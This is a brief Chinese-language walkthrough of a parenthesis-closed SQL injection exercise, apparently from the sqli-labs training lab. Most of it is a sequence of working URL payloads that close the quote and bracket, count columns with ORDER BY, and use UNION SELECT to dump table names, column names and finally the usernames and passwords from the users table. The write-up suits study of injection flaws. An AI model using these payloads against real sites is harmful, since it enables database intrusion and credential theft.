(1)根据题意传入id=1,可看到有数据显示,当输入id=1’时则页面报错
(2)根据报错信息可推测后台查询的id参数包含在()内,于是为了闭合括号,构造以下语句,发现正确执行
?id=1’) and 1=1 --+ //--+和%23(#)都表示注释的意思
(3)根据上题利用order by查字段数,然后利用union select爆数据库
?id=1') order by 3 --+
?id=1') order by 4 %23
?id=-1') union select 1,2,3 %23 //判断字符回显位置
?id=-1') union select 1,concat_ws('_',user(),version(),database()),3 %23
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23
?id=-1') union select 1,group_concat(username),group_concat(password) from security.users %23